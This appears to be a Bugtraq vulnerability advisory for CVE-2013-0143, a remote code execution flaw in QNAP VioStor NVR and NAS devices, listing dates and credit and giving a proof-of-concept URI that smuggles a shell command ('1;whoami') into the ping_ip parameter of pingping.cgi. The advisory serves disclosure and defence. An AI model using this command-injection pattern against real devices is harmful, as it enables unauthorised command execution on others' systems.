QNAP VioStor NVR and QNAP NAS CVE-2013-0143 Remote Code Execution Vulnerability
BID:60354
Info
QNAP VioStor NVR and QNAP NAS CVE-2013-0143 Remote Code Execution Vulnerability
| Bugtraq ID: | 60354 |
| Class: | Unknown |
| CVE: |
CVE-2013-0143 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 05 2013 12:00AM |
| Updated: | Mar 19 2015 08:09AM |
| Credit: | Tim Herres and David Elze of Daimler TSS |
| Vulnerable: | |
| Not Vulnerable: | |
Exploit / POC
QNAP VioStor NVR and QNAP NAS CVE-2013-0143 Remote Code Execution Vulnerability
The following example URI is available:
http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami
The following example URI is available:
http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami